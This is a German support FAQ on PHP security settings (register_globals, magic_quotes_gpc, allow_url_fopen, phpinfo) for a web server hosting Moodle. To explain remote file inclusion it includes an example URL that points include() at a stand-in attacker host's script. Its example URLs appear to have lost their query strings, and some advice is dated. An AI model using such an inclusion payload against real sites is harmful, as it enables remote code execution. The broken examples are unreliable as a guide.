Sie sind hier: Support » FAQ » Webdienste/Homepage » PHP

Warum die Einstellung register_globals=off ?

Ein häufiges Einsteiger-Problem beim Programmieren in php ist die Annahme, dass die php-Umgebungsvariable register_globals auf on steht. Das heißt, dass Variablen, die z. B. über ein POST (Form-Variablen) übergeben werden, automatisch auf die entsprechenden Werte gesetzt sind. Dasselbe gilt auch für Cookies und GET-Variablen.

Öffnet man z. B. ein php-Script mit der URL

www.example.com/test.php

dann hat die Variable $name automatisch den Wert "alex" wenn register_globals
aktiviert ist.

Das hört sich einfach und praktisch an, bringt aber ein Sicherheitsproblem mit
sich.

Nur ein Beispiel: hat man in seinem Skript einen Befehl

include($datei);

dann kann man, sofern man $datei nicht am Anfang des Programms einen sinnvollen
Wert zuweist, mittels Übergabe die Variable $datei folgendermaßen belegen:

www.example.com/test.php=http://www.myhackingserver.com/bad.php

und dadurch beliebigen Code ausführen lassen.

Man kann natürlich dieses Problem dadurch lösen, dass man jede potentiell
gefährliche Variable zu Beginn mit einem Startwert initialisiert.

Eine bessere Variante ist es, in der php.ini die Variable register_globals=off
zu setzen (was bei vielen Providern standardmäßig gesetzt ist). Dadurch wird
bewirkt, dass Variablen nicht mehr automatisch besetzt werden und man wird
sozusagen gezwungen, sauber zu programmieren und jede gebrauchte POST, GET oder
Cookie-Variable zu setzen. (z. B. mit $name=$HTTP_GET_VARS['name'];)

Diese Vorgehensweise ist auf jeden Fall zu empfehlen.

Hat der Provider register_globals=off gesetzt und man möchte an einer Stelle im
Script trotzdem automatisch alle POST-Variablen setzen, kann man das z. B.
folgendermaßen machen:

extract ($HTTP_POST_VARS);

Aber Vorsicht: damit sind wieder alle Variablen gesetzt und man muss darauf
achten, keine Sicherheitslücke zu öffnen!

Warum die Einstellung magic_quotes_gpc =on ?

Siehe: www.entwickler.de/zonen/portale/psecom,id,126,news,22580,p,0.html


Um das Einschleusen von SQL-Code zu verhindern, müssen alle Eingaben vor ihrer Verwendung in einer SQL-Abfrage geprüft und ggf. bereinigt werden.

Außerdem müssen die Eingaben auf dem Server geprüft werden. Eine Prüfung auf dem Client kann vom Angreifer manipuliert oder umgangen werden.

Für manche Eingaben, z. B. E-Mail-Adressen oder Telefonnummern, kann man die Menge zulässiger Zeichen exakt bestimmen und die Eingabe dann mithilfe von regulären Ausdrücken darauf prüfen. Alle Eingaben, die unzulässige Zeichen enthalten, werden verworfen. Diese Methode ist jedoch nur anwendbar, wenn keine potenziell gefährlichen Zeichen wie z. B. das Quote-Zeichen (') zulässiger Teil der Eingabe sind. Der Vorteil: Die Eingabe enthält nach der Filterung nur erwünschte Zeichen.
In PHP gibt es die Funktionen addslashes() und speziell für MySQL mysql_real_escape_string() zum Maskieren bestimmter Zeichen wie "'" und "\".
Den gleichen Effekt erzielt man durch Einschalten von magic_quotes_gpc in der Konfigurationsdatei php.ini. Beides zusammen führt jedoch zu Problemen, da die betreffenden Zeichen doppelt maskiert werden.
Daher müssen bei aktiviertem magic_quotes_gpc alle Variablen vor der Behandlung mit mysql_real_escape_string() mit stripslashes() von den bereits eingefügten Backslashes befreit werden.

Warum die Einstellung allow_url_fopen=off?

Die Einstelllung muss aus Gründen der Sicherheit gemacht werden.

Siehe auch: http://de.wikipedia.org/wiki/Remote_File_Inclusion

Besonderheiten bei PHP

Bei der Konfiguration von PHP auf dem Webserver sind einige sicherheitsrelevante Einschränkungen gemacht worden, die sich auch auf Moodle auswirken können.
So sind z. B . system() Aufrufe nicht möglich, was das Ausführen von Modulen beeinflussen kann.

Moodle selbst bietet für den User admin einen PHP-Check an, dort kann man die aktuelle Konfiguration von PHP auf dem Server anschauen.

Wie können Sie sich die gesamten PHP-Einstellungen des neuen Webservers anschauen?

Mit diesem kleinen Script können Sie sich Ihre Einstellungen für PHP anschauen.
1. Anlegen einer leeren Datei phpinfo.php
2. Kopieren der folgenden Inhalte in diese Datei

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; " />
</head>
<body>
<?php
phpinfo();
?>
</body>
</html>


3. Datei in den sicheren Bereich Ihres Webauftritts legen
4. Mit https://meine.seite.de/secure/phpinfo.php aufrufen